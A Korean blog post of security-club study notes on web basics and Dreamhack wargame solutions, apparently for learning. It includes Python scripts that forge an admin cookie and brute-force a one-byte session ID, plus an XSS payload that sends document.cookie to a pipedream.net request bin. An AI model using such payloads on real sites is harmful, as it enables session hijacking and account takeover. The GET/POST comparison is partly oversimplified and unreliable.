security/가디언

[5/13] Web / Network

민사민서 2023. 5. 13. 23:28

Ctrl + Shift + R (혹은 Ctrl + F5)

= 강력한 새로고침, 캐시까지 초기화, 캐싱되어있던 파일 다시 보내줌

burp suite로 해당 GET 요청 잡아보면 아래 부분이 추가되어 있음

Pragma: no-cache

Cache-Control: no-cache

 

개발자도구 - Application - Cookies

- HttpOnly 플래그 세팅되어있다면: document.cookie로 쿠키 출력 시 포함 안 됨 (javascript로 확인 불가)

- Expire/Max-Age = session 이면 세션 종료 시 만기되는 쿠키 값

 

Dreamhack - Cookie 다양한 풀이

0) 개발자도구로 쿠키 값 조작

// 내 원래 풀이 방향이었으므로 생략

1) Burp Suite로 네트워크 패킷 조작해 Cookie값 내맘대로

로그인 페이지에서 POST 요청을 보내고, 그 username/password가 유효하다면

서버 쪽에서는 이러한 응답을 보내온다. Set-Cookie: 부분만 조작하면 Easy

혹은 index 페이지로 redirect 될 때의 Get 요청을 조작해도 됨. Cookie: 부분을 조작하면 됨

 

2) Python 코드를 짜 exploit (requests 모듈)

import requests

# index page에서 cookie 값 확인하고 페이지 새롭게 랜더링해줌
my_url = "http://host3.dreamhack.games:8380/"
my_cookie = {'username': 'admin'}

response = requests.get(url=my_url, cookies=my_cookie)

if response.text.find('DH{') != -1:
    idx1 = response.text.find('DH{')
    idx2 = response.text.find('}', idx1+3)
    print(response.text[idx1:idx2+1])
else:
    print("실패")

- response.text : str 타입의 데이터 (ex. html 코드)

- response.status_code: 응답상태 (ex. 200)

- response.headers: 응답 패킷의 헤더 정보+

- response.content: bytes 타입의 데이터

2-1) Python code를 이용한 Session 풀이

sesion_storage에 key=세션id, value=username 형식으로 저장되고

우리는 username="admin"에 해당하는 세션id를 알아내서 cookie 값을 조작해야 하는데

1바이트 크기의 랜덤값으로 결정된다 => bp 쌉가능 (256가지 경우)

import requests

my_url = "http://host3.dreamhack.games:19407/"

# os.urandom(1).hex() 결과 두 자리 16진수(1Byte)가 리턴됨 => brute force
for i in range(256):
    print(str(i)+": ")
    my_cookie = {"sessionid" : "%02x"%i }
    response = requests.get(url=my_url, cookies=my_cookie)

    if response.text.find("admin")!=-1:
        idx = response.text.find("flag is ")
        print(response.text[idx:idx+80])
        break

 

app.py파일 vscode에서 디버깅하기

Step1.

왼쪽 아이콘 클릭 후 Run and Debug 클릭 (혹은 Ctrl + Shift + D) 하여 Python: Flask 선택

 

Step2.

launch.json 파일 생성되었는지 확인

FLASK_DEBUG 모드가 1이어야 하며

--no-debugger, --no-reload 인자 지워야 함..

 

Step3.

app.py와 동일한 폴더에 templates 폴더 생성 후 그 하위에 필요한 템플릿 페이지들 생성 ( index.html, login.html )

abc
{{ text }}

뭐 이렇게 대충~~

 

Step4. 

F5 눌러서 실행

Request bin

HTTP와 WebHook 정보를 온라인으로 확인 가능한 사이트

xss-1도 /memo 페이지에다 표시하지말고, Request bin에서 주소를 받아 서버처럼 사용하자

<script>location.href=" https://enbsdvgg096bn.x.pipedream.net?data= "+document.cookie</script>

이렇게 GET 요청에 파라미터를 추가해 보낸다면,

이런 식으로 query parameter에서 확인 가능

 

GET vs. POST

get방식
ex) www.exampleurl.com?id=123&pwd=qwer
1) url에 파라미터가 그대로 노출된다.
2) 파라미터 전달시 url 다음 ? 를 통해 파라미터를 전달하며 2개이상의 파라미터 전달시 & 를 통해 구분한다.
3) header 부분에 파라미터를 포함하여 보낸다.

url에 파라미터를 넣어 호출할 수 있지만 파라미터가 그대로 노출됨..

post방식
1) url에 파라미터가 노출되지 않아 get방식 보다 안전하다.
2) json형식으로 파라미터를 바디부분에 포함하여 보낸다.
3) Time Out 요청을 받는 리미트 시간이 있다.

'security > 가디언' 카테고리의 다른 글

lab 08 - Misc  (0) 2023.08.18
lab 07 - Canary Guessing, ROP using Stack Pivoting, Reverse Shell  (0) 2023.08.18
lab 06 - rop 정리  (0) 2023.08.12
lab 05 - fsb 정리  (2) 2023.08.06
lab 04 - canary 정리  (0) 2023.08.06